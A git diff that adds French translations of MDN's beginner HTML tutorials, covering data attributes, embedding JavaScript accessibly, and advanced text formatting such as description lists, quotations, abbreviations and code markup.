La structure de base qu'on voit dans cet exemple alterne les termes (<dt>) et leurs descriptions (<dd>). Si deux (ou plusieurs) termes apparaissent les uns à la suite des autres, la description qui suit s'appliquera à tout ces termes. Si deux (ou plusieurs) descriptions se suivent, elles s'appliqueront au dernier terme.

+
+ +

Améliorer l'aspect visuel

+ +

Voici comment un navigateur affichera la liste précédente :

+ +

{{EmbedLiveSample("Un_exemple_simple", 600, 180)}}

+ +

Si vous souhaitez que les termes soient plus visibles, vous pouvez les écrire en gras. Cela ne change rien au contenu, donc ce ne sera pas HTML qui sera utilisé. En revanche, cela modifie la mise en forme et nous allons donc utiliser CSS et plus particulièrement la propriété {{cssxref("font-weight")}} :

+ +
dt {
+  font-weight: bold;
+}
+
+ +

Cela permettra d'obtenir le résultat suivant :

+ +

{{EmbedLiveSample("Comment_construire_une_liste_de_descriptions", 600, 180)}}

+ +

En savoir plus

+ + diff --git a/files/fr/learn/html/howto/index.html b/files/fr/learn/html/howto/index.html new file mode 100644 index 0000000000..3db762dc5a --- /dev/null +++ b/files/fr/learn/html/howto/index.html @@ -0,0 +1,149 @@ +--- +title: Apprendre à utiliser HTML pour résoudre des problèmes +slug: Apprendre/HTML/Comment +tags: + - CodingScripting + - HTML +translation_of: Learn/HTML/Howto +--- +

Une fois les bases acquises, il n'existe pas de voie idéale pour apprendre {{Glossary("HTML")}}. Vous pouvez ensuite progresser à votre rythme, en utilisant les balises qui vous sont utiles. HTML n'est qu'un ensemble de balises que vous pouvez utiliser pour structurer votre document et lui ajouter des fonctionnalités supplémentaires. Dans les articles suivants, nous travaillerons sur différents exemples illustrant comment utiliser HTML pour résoudre des problèmes fréquents qu'on rencontre lorsqu'on développe pour le Web. Si vous avez besoin d'explications détaillées sur une balise HTML donnée, n'hésitez pas à consulter notre référence HTML.

+ +

Cas d'utilisation fréquents

+ +

HTML permet de résoudre de nombreux problèmes qui se posent lors de la conception de sites web. Il est très probable que vous rencontriez au moins l'un de ces scénarios :

+ +
+
+

Structure de base

+ +

En HTML, tout commence par la structure du document. Si vous débutez avec HTML, vous devriez démarrer avec :

+ + + +

Sémantique de base pour le texte

+ +

Le but de HTML est de fournir des informations sémantiques (c'est-à-dire sur le sens) d'un document et de ce qui le compose. HTML permettra donc de répondre à de nombreuses questions sur le sens du texte qu'on veut utiliser dans un document.

+ + +
+ +
+

Les hyperliens

+ +

Les {{Glossary("hyperlien", "hyperliens")}} rendent la navigation très simple sur le web, ils peuvent être utilisés de différentes façons :

+ + + +

Images et multimédia

+ + + +

Script et mise en forme

+ +

HTML ne permet que de gérer la structure et le contenu d'un document. Pour régler les aspects de styles, on utilisera du {{glossary("CSS")}}, pour l'aspect interactif et script, on utilisera {{glossary("JavaScript")}}.

+ + + +

Intégrer du contenu

+ + +
+
+ +

Problèmes avancés ou rares

+ +

Au-delà des briques de bases qu'on peut assembler dans les exemples précédents, HTML reste très riche et offre des fonctionnalités avancées qui permettent de résoudre de nombreux problèmes complexes. Ces articles décrivent certains de ces problèmes, moins fréquents, et expliquent comment les résoudre :

+ +
+
+

Les formulaires

+ +

Les formulaires correspondent à une structure HTML complexe qui permet d'envoyer des données d'une page web vers un serveur web. Nous vous invitons à suivre le guide dédié aux formulaires. Vous pouvez commencer ici :

+ + + +

Les informations tabulaires

+ +

Certaines informations doivent être organisées en tableaux, sur des colonnes et des lignes. Les tableaux sont une des structures HTML les plus complexes et s'avèrent particulièrement difficiles à maîtriser de A à Z :

+ + + +

La représentation de données

+ + + +

Interactivité

+ + +
+ +
+

Sémantique avancée pour les éléments textuels

+ + + +

Images et multimédia avancés

+ + + +

L'internationalisation

+ +

HTML n'est pas monolingue. Il existe des outils qui permettent de résoudre les problèmes fréquents qui se posent lorsqu'on internationalise du contenu.

+ + +
+
diff --git a/files/fr/learn/html/howto/use_data_attributes/index.html b/files/fr/learn/html/howto/use_data_attributes/index.html new file mode 100644 index 0000000000..d67fd6a93d --- /dev/null +++ b/files/fr/learn/html/howto/use_data_attributes/index.html @@ -0,0 +1,79 @@ +--- +title: Utiliser les attributs de données +slug: Apprendre/HTML/Comment/Utiliser_attributs_donnes +tags: + - Guide + - HTML + - Web +translation_of: Learn/HTML/Howto/Use_data_attributes +--- +
{{LearnSidebar}}
+ +

HTML5 est conçu avec le souci de l'extensibilité pour les données qui doivent être associées avec un élément particulier sans qu'on leur donne une signification spécifique. Les attributs data-* nous permettent de stocker des informations supplémentaires sur les éléments sémantiques standard sans avoir recours à des attributs non-standard ni à des propriétés supplémentaires du DOM, ni à {{domxref("Node.setUserData()")}}.

+ +

Syntaxe HTML

+ +

La syntaxe est simple. Tout attribut d'un élément dont le nom commence par data- est un attribut de données (data attribute). Si par exemple vous avez un article pour lequel vous souhaitez stocker des informations supplémentaires et qui n'ont pas de représentation visuelle, il vous suffit d'utiliser des attributs de données pour cela :

+ +
<article
+  id="voitureelectrique"
+  data-columns="3"
+  data-index-number="12314"
+  data-parent="voitures">
+...
+</article>
+ +

Accéder via du code JavaScript

+ +

Lire les valeurs de ces attributs avec du JavaScript est également très simple. Vous pourriez utiliser {{domxref("Element.getAttribute", "getAttribute()")}} avec leur nom HTML complet pour les lire, mais le standard les définit d'une manière plus simple : un {{domxref("DOMStringMap")}} peut être lu via une propriété {{domxref("HTMLElement.dataset", "dataset")}}.

+ +

Pour obtenir un attribut data avec l'objet dataset, repérez la propriété avec la partie du nom de l'attribut qui suit le préfixe data- (notez que les tirets sont convertis en camelCase).

+ +
var article = document.getElementById('voitureelectrique');
+
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "voitures"
+ +

Chaque propriété est une chaîne et peut être en lecture et écriture. Dans le cas ci-dessus passer le paramètre article.dataset.columns = 5 mettrait l'attribut à "5".

+ +

Accéder via du code CSS

+ +

Remarquez que, dans la mesure où les attributs data sont de simples attributs HTML, vous pouvez même y accéder par les CSS. Par exemple, pour afficher les données associées à l'article, vous pouvez utiliser des contenus générés en CSS avec la fonction {{cssxref("attr")}} :

+ +
article::before {
+  content: attr(data-parent);
+}
+ +

Vous pouvez également utiliser les sélecteurs d'attributs en CSS pour modifier les styles en fonction des données :

+ +
article[data-columns='3'] {
+  width: 400px;
+}
+article[data-columns='4'] {
+  width: 600px;
+}
+ +

Tout cela est visible dans l'exemple JSBin. 

+ +

Les attributs data peuvent aussi être stockés pour inclure des informations qui changent constamment, telles que les cores dans un jeu. L'utilisation des sélecteurs CSS et de l'accès par le JavaScript permettent ici de créer des effets sympas sans avoir à écrire vos propres routines d'affichage. Regardez cet exemple de capture vidéo d'écran où sont utilisés les contenus générés et les transitions CSS (exemple JSBin).

+ +

Comme les valeurs des données sont des chaînes, toutes les valeurs doivent être entre guillemets " " sinon le formatage de style sera inopérant.

+ +

Problèmes

+ +

Ne stockez pas de contenu qui devrait être visible dans les attributs data, car les technologies d'assistance pourraient ne pas y avoir accès. De plus, les moteurs de recherche pourraient ne pas indexer les valeurs des attributs de données. 

+ +

Les principaux problèmes à prendre en considération sont le support d'Internet Explorer et la performance. Internet Explorer 11+ prend en charge le standard, mais toutes les versions antérieures  ne prennent pas en charge le dataset. Pour prendre en charge IE 10 et versions inférieures vous avez besoin d'accéder aux attributs data avec {{domxref("Element.getAttribute", "getAttribute()")}}. De plus, la la performance de lecture des attributs de données, au stockage dans des structures de données JavaScript est assez faible. Utiliser un dataset est même plus lent que lire les données avec getAttribute().

+ +

Mais ceci dit, pour les métadonnées personnalisées associées aux éléments, c'est une excellente solution.

+ +

Avec Firefox 49.0.2 (et peut-être dans les versions antérieures ou ultérieures), les attributs data qui dépassent 1022 attributs ne seront pas lisibles par Javascript (EcmaScript 4).

+ +

Voir aussi

+ + diff --git a/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.html b/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.html new file mode 100644 index 0000000000..7db20d6d76 --- /dev/null +++ b/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.html @@ -0,0 +1,99 @@ +--- +title: Utiliser JavaScript au sein d'une page web +slug: Apprendre/HTML/Comment/Utiliser_JavaScript_au_sein_d_une_page_web +tags: + - Beginner + - HTML + - JavaScript + - OpenPractices +translation_of: Learn/HTML/Howto/Use_JavaScript_within_a_webpage +--- +
+

Dans cet article, nous verrons comment améliorer les pages web en ajoutant du code JavaScript dans des documents HTML.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Savoir comment utiliser du code JavaScript dans un fichier HTML et apprendre les bonnes pratiques afin que le code JavaScript utilisé soit accessible.
+ +

À propos de JavaScript

+ +

{{Glossary("JavaScript")}} est un langage de programmation principalement utilisé côté client et qui peut également être utilisé côté serveur. Il permet entre autres de rendre les pages web interactives. JavaScript offre une myriade de possibilités.

+ +
+

Dans cet article, nous verrons le code HTML nécessaire pour utiliser du code JavaScript. Si vous souhaitez apprendre JavaScript, vous pouvez démarrer par notre article sur les bases de JavaScript. Si vous connaissez déjà JavaScript en partie ou que vous connaissez un autre langage de programmation, vous pouvez consulter le Guide JavaScript.

+
+ +

Comment déclencher le code JavaScript depuis le document HTML

+ +

Dans un navigateur, JavaScript ne fait rien « tout seul ». Il a besoin d'être lancé depuis les pages web HTML. Pour appeler du code JavaScript depuis votre document HTML, vous aurez besoin de l'élément {{htmlelement("script")}}. Il y a deux méthodes pour utiliser script : une qui sert lorsqu'on souhaite utiliser un script contenu dans un fichier tiers et une qui sert lorsqu'on intègre directement le code du script dans la page web.

+ +

Faire référence à un script externe

+ +

Généralement, un script est écrit dans un fichier .js à part. Pour exécuter un script depuis un fichier dans la page web, il suffira d'utiliser {{HTMLElement ('script')}} avec un attribut src pointant vers le fichier du script en utilisant l'URL du fichier :

+ +
<script src="chemin/vers/le/script.js"></script>
+ +

Inscrire le code JavaScript dans le document HTML

+ +

Il est également possible d'insérer du code JavaScript directement dans la balise <script> sans fournir d'attribut src.

+ +
<script>
+window.addEventListener('load', function () {
+  console.log('Cette fonction est exécutée une fois quand la page est chargée.');
+});
+</script>
+ +

Cette méthode peut s'avérer pratique quand on n'utilise qu'un code très court. Cela dit, utiliser des fichiers séparés pour stocker le code JavaScript vous permettra :

+ +
    +
  • de rester concentré-e sur le contenu en cours
    • +
  • d'écrire du HTML qui se suffit à lui-même
    • +
  • d'écrire des applications JavaScript structurées
    • +
+ +

Utiliser les scripts de façon accessible

+ +

L'accessibilité est un enjeu majeur du développement logiciel. JavaScript peut rendre un site web plus accessible lorsqu'il est utilisé correctement. Il peut aussi détruire toute trace d'accessibilité s'il est utilisé sans aucune considération. Voici quelques pratiques qui vous permettront de tirer le meilleur parti de JavaScript pour l'accessibilité :

+ +
    +
  • Tout le contenu d'un document doit être disponible sous forme de texte (structuré). HTML doit être utilisé le plus possible pour stocker le contenu. Par exemple, si vous avez implémenté une super barre de chargement, n'oubliez pas de fournir les pourcentages en texte dans le HTML. De la même façon, les menus déroulants doivent être structurées en listes non ordonnées de liens.
    • +
  • Toutes les fonctionnalités doivent être accessibles depuis le clavier. +
      +
    • Les utilisateurs doivent pouvoir utiliser la touche de tabulation pour naviguer entre les différents contrôles (les liens, les entrées de formulaires, etc.) en suivant un ordre logique.
      • +
    • Si vous utilisez les événements liés au pointage (les événéments liés à la souris ou au toucher), les fonctionnalités offertes doivent également être accessibles  via le clavier.
      • +
    • Testez votre site en utilisant uniquement le clavier.
      • +
    +
    • +
  • N'utilisez pas de limites de temps arbitraires. Cela prend plus de temps de naviguer au clavier ou d'écouter le contenu lu par un lecteur d'écran. Il est donc impossible de prévoir combien de temps cela prendra pour qu'un utilisateur ou pour que le navigateur accomplisse une tâche donnée.
    • +
  • Les animations doivent être courtes et légères, sans clignotement. Les clignotements peuvent agacer, ou pire, entraîner des crises d'épilepsie. Si une animation dure plus longtemps que quelques secondes, il faudra fournir une méthode pour l'annuler.
    • +
  • Laissez les utilisateurs initier les interactions. Cela signifie qu'il ne faut pas mettre à jour du contenu, rediriger vers un autre document ou rafraîchir la page automatiquement. Il ne faut pas utiliser de caroussels ou afficher des pop-ups sans aucun avertissement.
    • +
  • Ayez un plan de secours pour les utilisateurs qui n'ont pas JavaScript activé. Certaines personnes désactivent JavaScript afin d'améliorer les performances ou la sécurité. D'autres peuvent rencontrer des problèmes de connectivité qui empêcheraient le chargement des scripts. De plus, certains scripts tiers (publicités, scripts de tracking, extensions de navigateurs) peuvent casser les scripts que vous avez écrit. +
      +
    • A minima, laissez un court message grâce à la balise {{HTMLElement("noscript")}} : <noscript>Pour utiliser ce site, merci d'activer JavaScript.</noscript>
      • +
    • Idéalement, lorsque c'est possible, dupliquez les fonctionnalités offertes par JavaScript via le HTML et des scripts exécutés côté serveur.
      • +
    • Si vous souhaitez mettre en place des effets visuels, CSS vous permettra d'y parvenir plus intuitivement.
      • +
    • +

      Puisque tout le monde, ou presque, a JavaScript activé, <noscript> ne représente donc pas une excuse pour écrire des scripts inaccessibles.

      +
      • +
    +
    • +
+ +

En savoir plus

+ + diff --git a/files/fr/learn/html/index.html b/files/fr/learn/html/index.html new file mode 100644 index 0000000000..1874018d97 --- /dev/null +++ b/files/fr/learn/html/index.html @@ -0,0 +1,66 @@ +--- +title: 'Apprendre le HTML : guides et didacticiels' +slug: Apprendre/HTML +tags: + - Apprentissage + - Débutant + - Guide + - HTML + - Introduction + - Rubrique +translation_of: Learn/HTML +--- +
{{LearnSidebar}}
+ +
+
+

Pour créer des sites Web, vous devez connaître le {{Glossary('HTML')}} — technique fondamentale utilisée pour définir la structure d'une page Web. HTML est utilisé pour dire si votre contenu web doit être reconnu en tant que paragraphe, liste, en-tête, lien, image, lecteur multimédia, formulaire ou l'un des nombreux autres éléments disponibles ou même un nouvel élément à définir par vous même.

+
+
+ +

Parcours d'apprentissage

+ + + +

L'idéal serait que vous débutiez votre parcours d'apprentissage par l'étude du HTML. Commencez par lire Introduction au HTML. Vous pouvez ensuite passer à l'étude de sujets plus avancés comme :

+ +
    +
  • les CSS, et comment les utiliser pour donner un style au HTML (par exemple, modifier la taille du texte et les polices utilisées, ajouter des bordures et des ombres portées, mettre en page avec plusieurs colonnes, ajouter des animations et autres effets visuels).
    • +
  • le JavaScript, et comment l'utiliser pour ajouter des fonctionnalités dynamiques aux pages Web (par exemple, trouver votre emplacement et le tracer sur une carte, faire apparaître/disparaître des éléments d'interface utilisateur lorsque vous basculez un bouton, enregistrer les données des utilisateurs localement sur leurs ordinateurs, et bien plus encore).
    • +
+ +

Avant de commencer ce sujet, vous devriez avoir au moins une connaissance de base de l'utilisation des ordinateurs et de l'utilisation passive du Web (c'est-à-dire juste le regarder, de consommer le contenu). Vous devriez avoir un environnement de travail de base tel que précisé dans Installer les outils de base, et comprendre comment créer et gérer les fichiers,comme détaillé dans Gérer les fichiers — ces deux articles font partie de notre module Commencer avec le Web dédié aux débutants.

+ +

Il est recommandé de passer par Commencer avec le Web avant d'étudier ce sujet, mais ce n'est pas absolument nécessaire ; une grande partie de ce qui est couvert dans l'article Les bases du HTML est également couvert dans notre module Introduction au HTML, quoique beaucoup plus en détail.

+ +

Modules

+ +

Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les parcourir. Vous devriez commencer par le premier.

+ +
+
Introduction au HTML
+
Ce module prépare le terrain, en vous familiarisant avec les concepts importants et la syntaxe, en examinant comment appliquer le HTML au texte, comment créer des hyperliens et comment utiliser le HTML pour structurer une page Web.
+
Multimedia et intégration
+
Ce module explore comment utiliser le HTML pour incorporer du multimédia dans vos pages Web, y compris les diverses façons d'inclure des images, et comment intégrer de la vidéo, de l'audio et même d'autres pages Web entières.
+
Tableaux HTML
+
Représenter des sous forme de tableaux sur une page Web de manière compréhensible, {{Glossary("Accessibilité", "accessible")}}} peut être un défi. Ce module porte sur le balisage basique des tableaux, ainsi que des fonctions plus complexes telles que l'implémentation de légendes et de résumés.
+
Formulaire HTML
+
Les formulaires sont une partie très importante du Web — ils fournissent la grande partie des fonctionnalités dont vous avez besoin pour interagir avec les sites Web, par exemple enregistrement et connexion, envoi de commentaires, achat de produits et plus encore. Ce module vous permet de commencer à créer la partie des formulaires côté client.
+
+ +
+
+

Résolution de problèmes courants en HTML

+ +

Utilisation du HTML pour la solution de problèmes courants fournit des liens vers des contenus expliquant comment utiliser le HTML pour résoudre les problèmes très courants lors de la création d'une page Web : titrer, ajouter des images ou des vidéos, mettre en évidence du contenu, créer un formulaire de base, etc.

+ +

Voir aussi

+ +
+
+
HTML (HyperText Markup Language) sur MDN
+
Le portail de la documentation du HTML sur MDN, comprenant les références détaillées des éléments et des attributs — si vous voulez savoir, par exemple, quels sont les attributs d'un élément ou quelles valeurs peut prendre un attributif, c'est le bon endroit pour débuter.
+
+
+
+
diff --git a/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.html new file mode 100644 index 0000000000..6e9ebf6f83 --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -0,0 +1,682 @@ +--- +title: Formatage avancé du texte +slug: Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte +tags: + - Apprendre + - Citation + - Codage + - Débutant + - Guide + - HTML + - Texte + - abréviation + - listes descriptives + - sémantique +translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks", "Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

Il y a de nombreux autres éléments HTML pour mettre en forme un texte qui n'ont pas été mentionnés dans l'article Les concepts fondamentaux du HTML liés au texte. Les éléments abordés ici sont moins connus mais tout aussi utiles (et ce n'est aucunement une liste complète). Nous voyons ici comment marquer des citations, des listes de description, du code informatique et autres choses relatives au texte : indices et exposants, informations de contact, etc.

+ + + + + + + + + + + + +
Prérequis :Être familiarisé avec les bases du HTML, traitées à la page Commencer avec le HTML et du formatage de texte HTML, décrit dans les Fondamentaux du texte HTML.
Objectifs :Apprendre comment utiliser des éléments HTML moins connus pour baliser des fonctions sémantiques avancées.
+ +

Listes descriptives

+ +

Dans les bases du texte en HTML, nous avons exposé comment on pouvait baliser des listes simples en HTML, mais sans mentionner le troisième type de liste que vous rencontrerez à l'occasion — les listes descriptives. L'objectif de ces listes est de marquer une série d'éléments et leurs descriptions associées, comme termes et définition, ou bien questions et réponse. Voici l'exemple d'un ensemble de termes et leur définitions :

+ +
soliloque
+Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).
+monologue
+Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.
+aparté
+Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.
+ +

Les listes descriptives utilisent une enveloppe de balisage différente de celle des autres types de listes — {{htmlelement("dl")}} ; chaque terme est en plus entouré d'un élément {{htmlelement("dt")}} (description term) et chaque description d'un élément {{htmlelement("dd")}} (description definition). Terminons en balisant l'exemple ci‑dessus :

+ +
<dl>
+  <dt>soliloque</dt>
+  <dd>Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).</dd>
+  <dt>monologue</dt>
+  <dd>Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.</dd>
+  <dt>aparté</dt>
+  <dd>Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.</dd>
+</dl>
+ +

Les styles par défaut du navigateur vont afficher les listes de définition avec des descriptions indentées par rapport aux termes. les styles de MDN suivent de très près cette convention, mais soulignent davantage les définitions en les mettant en gras.

+ +
+
soliloque
+
Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).
+
monologue
+
Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.
+
aparté
+
Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.
+
+ +

Notez qu'il est autorisé d'avoir un terme seul avec de multiples descriptions, par exemple :

+ +
+
aparté
+
Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.
+
En écriture, une partie de contenu relative au sujet en cours, mais qui, ne s'inscrivant pas dans le flux principal du contenu, est donc présentée à part (souvent dans un encadré sur le côté).
+
+ +

Apprentissage interactif : balisez une série de définitions

+ +

Il est temps de se faire la main sur les listes de définitions ; ajoutez les élements au texte brut dans le champ Code modifiable pour que faire apparaître une liste de définitions dans la Zone de rendu. Vous pouvez essayer en utilisant vos propes termes et définitions si vous le souhaitez.

+ +

Si vous faites une erreur, vous pouvez toujours réinitialiser grace au bouton Réinitialiser. Si vous êtes vraiment bloqué, cliquez sur Voir la solution.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}

+ +

Citations

+ +

Le HTML possède également des fonctionnalités pour marquer les citations. Le choix de l'élément à utiliser dépend du type de citation : en ligne ou par bloc.

+ +

Blocs de citation

+ +

Si une section ou un contenu de niveau bloc (que ce soit un paragraphe, de multiples paragraphes, une liste, etc.) est cité depuis une autre origine, vous pouvez le signaler en le mettant dans un élément {{htmlelement("blockquote")}} et en incluant une URL qui pointe vers la source de la citation dans un attribut {{htmlattrxref("cite","blockquote")}}. Par exemple, le balisage suivant provient de la page MDN pour l'élément <blockquote> :

+ +
<p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc
+de citation</em>) indique que le bloc de texte inclus est une citation étendue.</p>
+ +

Pour le changer en bloc de citation, on ferait simplement ceci :

+ +
<blockquote cite="https://developer.mozilla.org/fr/docs/Web/HTML/Element/blockquote">
+  <p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc de citation</em>)
+     indique que le bloc de texte inclus est une citation étendue.</p>
+</blockquote>
+ +

Le navigateur l'affichera par défaut sous forme d'un paragraphe indenté, avec l'indication qu'il s'agit d'une citation ; MDN agit de même et y ajoute un style personnalisé :

+ +
+

L'Élément HTML <blockquote> (ou Élément HTML bloc de citation) indique que le bloc de texte inclus est une citation étendue.

+
+ +

Citations en ligne

+ +

Les citations en ligne fonctionnent exactement de la même manière, sauf que l'on utilise l'élément {{htmlelement("q")}}. Par exemple, le balisage suivant contient une citation de la page MDN <q> :

+ +
<p>L'élément citation — <code>&lt;q&gt;</code> — est <q cite="https://developer.mozilla.org/fr/docs/Web/HTML/Element/q">prévu
+pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p>
+ +

Le navigateur l'affichera par défaut comme du texte normal entre guillemets pour indiquer une citation, comme ceci :

+ +

L'élément citation — <q> — est prévu pour de courtes citations ne nécessitant pas un nouvel alinéa.

+ +

Citations

+ +

Le contenu de l'attribut {{htmlattrxref("cite","blockquote")}} semble utile, malheureusement les navigateurs, lecteurs d'écran, etc. n'en font pas grand chose. Il n'y a pas possibilité de faire afficher différemment au navigateur le contenu d'un  cite sans utiliser votre propre JavaScript ou style CSS. Si vous souhaitez rendre disponible la source de la citation sur votre page, la meilleure façon de le faire est d'inclure l'élément {{htmlelement("cite")}} à coté de l'élément citation. Cet élément est vraiment destiné à contenir le nom de la source de la citation — c'est-à-dire le nom du livre ou de la personne auteur de la citation — mais il n'y a aucune raison pour laquelle vous n'avez pas pu lier le texte à l'intérieur de <cite> à la source de la citation d'une manière ou d'une autre :

+ +
<p>Selon la <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/blockquote">
+<cite>page blockquote du MDN</cite></a>:
+</p>
+
+<p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc de citation</em>)
+   indique que le bloc de texte inclus est une citation étendue.</p>
+
+<p>L'élément citation — <code>&lt;q&gt;</code> — est <q cite="https://developer.mozilla.org/fr/docs/Web/HTML/Element/q">prévu
+   pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p>
+ — <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/q">
+<cite>page q du MDN</cite></a>.</p>
+ +

Les citations sont affichées avec un police italique par défaut. Vous pouvez voir l'affichage de ce code dans l'exemple quotations.html.

+ + + +

Apprentissage actif : Qui a dit quoi ?

+ +

Il est temps de faire un autre apprentissage actif ! Dans cet exemple, nous souhaiterions que :

+ +
    +
  1. vous marquiez le paragraphe central comme étant une citation comprenant un attribut cite.
    2. +
  2. une partie du troisième paragraphe soit balisée en tant que citation en ligne, comprenant aussi un attribut cite.
    3. +
  3. vous incorporiez un élément <cite> pour chaque citation
    4. +
+ +

L'origine des citations dont vous aurez besoin se trouvent aux pages :

+ +
    +
  • http://www.brainyquote.com/quotes/authors/c/confucius.html pour la citation de Confucius,
    • +
  • http://www.affirmationsforpositivethinking.com/index.html pour « The Need To Eliminate Negative Self Talk » (De la nécessité d'éliminer un discours négatif sur soi‑même).
    • +
+ +

Si vous faites une erreur, vous pourrez toujours tout réinitialiser en pressant le bouton de même nom. Si vous êtes vraiment bloqué, pressez le bouton Voir la solution pour obtenir la réponse.

+ + + +

{{ EmbedLiveSample('Playable_code_2', 700, 450, "", "", "hide-codepen-jsfiddle") }}

+ +

Abréviations

+ +

Un autre élément assez commun rencontré en se promenant dans le Web est l'élément {{htmlelement("abbr")}}}}. Il s'utilise pour entourer une abréviation ou un acronyme et donner le développement complet du terme (inclus dans un attribut {{htmlattrxref("title")}}}. Voyons quelques exemples :

+ +
<p>Nous utilisons l'<abbr title="Hypertext Markup Language">HTML</abbr> pour structurer nos documents web.</p>
+
+<p>Je pense que le <abbr title="Révérend">R.</abbr> Green l'a fait dans la cuisine avec une tronçonneuse.</p>
+ + + +

Leur affichage correspond aux deux phrases suivantes (le développement de l'abréviation apparaît dans une infobulle quand le pointeur de souris passe sur le terme) :

+ +

Nous utilisons l'HTML pour structurer nos documents web.

+ +

Je pense que le R. Green l'a fait dans la cuisine avec une tronçonneuse.

+ +
+

Note : Il existe un autre élément, {{htmlelement("acronym")}}, faisant fondamentalement la même chose que <abbr>, destiné spécifiquement aux acronymes plutôt qu'aux abréviations. Il est cependant tombé en désuétude — il n'était pas aussi bien pris en charge dans les navigateurs que <abbr> et sa fonction était si ressemblante qu'on a considéré inutile d'avoir les deux. Il suffit d'utiliser <abbr> à la place.

+
+ +

Apprentissage actif : marquer une abréviation

+ +

Pour cet apprentissage actif, nous aimerions que vous balisiez simplement une abréviation. Vous pouvez utiliser notre élément ci-après ou le remplacer par un de votre cru.

+ + + +
{{ EmbedLiveSample('Playable_code_3', 700, 300, "", "", "hide-codepen-jsfiddle") }}
+ +

Balisage des détails de contact

+ +

HTML possède l'élément {{htmlelement("address")}} pour baliser des détails de contact. Enveloppez simplement vos coordonnées, par exemple :

+ +
<address>
+  <p>Chris Mills, Manchester, The Grim North, UK</p>
+</address>
+ +

Une chose à retenir cependant : l'élément {{htmlelement("address")}} est destiné à marquer les coordonnées de la personne ayant écrit le document HTML et non pas n'importe quelle adresse. Donc, ce qui précède ne serait acceptable que si Chris avait écrit le document sur lequel ce balisage apparaît. Notez que serait également acceptable ce qui suit :

+ +
<address>
+  <p>Page écrite par <a href="../authors/chris-mills/">Chris Mills</a>.</p>
+</address>
+ +

Exposants et indices

+ +

Vous devrez parfois utiliser exposants et indices pour marquer des éléments comme dates, formules chimiques et équations mathématiques de façon à ce qu'ils aient une bonne signification. On effectue ce travail à l'aide des éléments {{htmlelement("sup")}} et {{htmlelement("sub")}}. Par exemple :

+ +
<p>Ma date de naissance est le 1<sup>er</sup> mai 2001.</p>
+<p>La formule chimique de la caféine est C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
+<p>Si x<sup>2</sup> égale 9, x doit valoir 3 ou -3.</p>
+ +

Les sorties produites par ces lignes de code se présentent comme suit :

+ +

Ma date de naissance est le 1er mai 2001.

+ +

La formule chimique de la caféine est C8H10N4O2.

+ +

Si x2 égale 9, x doit valoir 3 ou -3.

+ +

Représentation du code informatique

+ +

HTML met à votre dispositon un certain nombre d'éléments pour marquer du code informatique :

+ +
    +
  • {{htmlelement("code")}} : pour marquer des parties génériques de code.
    • +
  • {{htmlelement("pre")}} : pour conserver les blancs (généralement dans les blocs de code) — si vous indentez ou mettez des blancs en excès  dans votre texte, les navigateurs les ignoreront et vous ne les verrez plus dans le rendu de la page. Par contre si vous enveloppez le texte dans des balises <pre></pre>, les blancs seront rendus tels qu'il se présentent dans votre éditeur de texte.
    • +
  • {{htmlelement("var")}} : pour marquer spécifiquement les noms de variables.
    • +
  • {{htmlelement("kbd")}} : pour marquer les touches de clavier (et autres types d'entrées) à presser sur l'ordinateur.
    • +
  • {{htmlelement("samp")}} : pour marquer une sortie de programme.
    • +
+ +

Voyons quelques exemples. Essayez de jouer avec cela (faites une copie de notre fichier exemple other-semantics.html) :

+ +
<pre><code>var para = document.querySelector('p');
+
+para.onclick = function() {
+  alert('Owww, arrête de me toucher !');
+}</code></pre>
+
